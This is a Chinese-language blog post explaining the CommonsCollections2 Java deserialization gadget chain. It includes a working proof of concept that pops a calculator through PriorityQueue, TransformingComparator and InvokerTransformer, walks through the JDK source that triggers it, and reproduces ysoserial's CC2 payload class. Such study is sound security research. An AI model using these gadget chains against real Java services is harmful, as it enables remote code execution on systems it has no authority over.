CommonsCollections2 浅析
CC2 和 CC1 的不同在于换了一个触发方式,当然之后的 CC 链也是如此。它采用了 PriorityQueue.readObject () 去触发整条利用链。
本地 CC2
这是一个可以在本地弹计算器的 Demo,里面加了些便于理解的注释
package org.example;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsCollection2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);// 此处初始化时没有初始化 Tcomparator 进去,防止后面 add (2) 时直接触发利用链
queue.add(1);// 添加俩个元素是因为至少在 heapify 方法内才会进入 for 循环
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);// 替换为 Tcomparator 用于触发回调
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
/*
PriorityQueue.readObject ()->PriorityQueue.heapify ()->PriorityQueue.siftDown->PriorityQueue.siftDownComparable [内含代码 comparator.compare,Comparator 是一个接口,compare 是它的抽象方法]
-> 触发 TransformingComparator.compare ()[触发代码 this.transformer.transform (obj1), 从而触发回调,触发利用链]
参考:https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiK%2BlBDn7QtWK4D
*/一样的从后往前看,先看猜测触发点是在 PriorityQueue.readObject ()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}粗看没啥触发点,进入 heapify () 再看看
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}进入了一个 siftDown () 方法,跟进去看看
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}先进 siftDownUsingComparator (k, x); 里面瞧瞧
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}可以发现 comparator.compare,而在 PriorityQueue 里 compare 是抽象方法,是根据你传入的 comparator 调用的。而上述代码里传入的是 TransformingComparator,那么 TransformingComparator.compare () 必然内存玄机
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}一看果然如此,这不就是熟悉的 transform 吗,诶,这利用链不就拼上了
那再看看 siftDownComparable (k, x); 看看能不能利用
private void siftDownComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}可以看到有类似的 compareTo,但是数据类型是 int 类且不方便利用,因此就不用这个函数了,因此需要上述 if 判断 comparator != null 成立,这刚刚好,我们需要传入 comparator,此时正好满足 comparator != null。
利用链
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator
- TransformingComparator.compare()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
ysoserial 里的 CC2 链
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
}可以看到基本一致的,方法是一样的,给出 ysoserial 给出的 Gardget
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/参考
https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiK%2BlBDn7QtWK4D
